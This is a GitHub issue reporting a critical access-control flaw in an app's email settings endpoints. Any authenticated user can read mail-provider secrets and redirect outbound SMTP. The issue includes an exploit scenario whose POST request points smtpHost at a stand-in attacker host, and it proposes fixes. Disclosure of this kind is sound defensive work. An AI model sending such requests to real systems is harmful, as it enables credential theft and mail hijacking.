Skip to content

[CRITICAL] C5: Email secret disclosure + SMTP hijack — mail credentials exposed to any user #330

Description

@rubenvdlinde

Severity: CRITICAL

Location: lib/Controller/SettingsController.php lines 1937–2013 (getEmailSettings, updateEmailSettings); lib/Service/SettingsService.php lines 1878–2043

Description:
Both getEmailSettings and updateEmailSettings are @NoAdminRequired.

  • GET /api/settings/email returns the raw values of smtpPassword, sendgridApiKey, mailgunApiKey, postmarkApiKey, sesSecretKey, and mailjetSecretKey to any authenticated user.
  • POST /api/settings/email allows any authenticated user to repoint the outbound SMTP/API credentials to an attacker-controlled host. Combined with C7 (plaintext passwords in email), every subsequent new-user welcome email delivers credentials to the attacker.

Scenario:

  1. GET /api/settings/email as any user → harvest all mail provider API keys.
  2. POST /api/settings/email {"smtpHost":"attacker.example","smtpUser":"x","smtpPassword":"..."} → redirect all outbound mail to attacker.

Suggested fix:

  • Admin-gate both endpoints.
  • Redact secrets on read (return only masked values / last 4 chars).
  • Store credentials via NC ICredentialsManager instead of plain IAppConfig.

Source: deep team-reviewer pass 2026-05-27

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions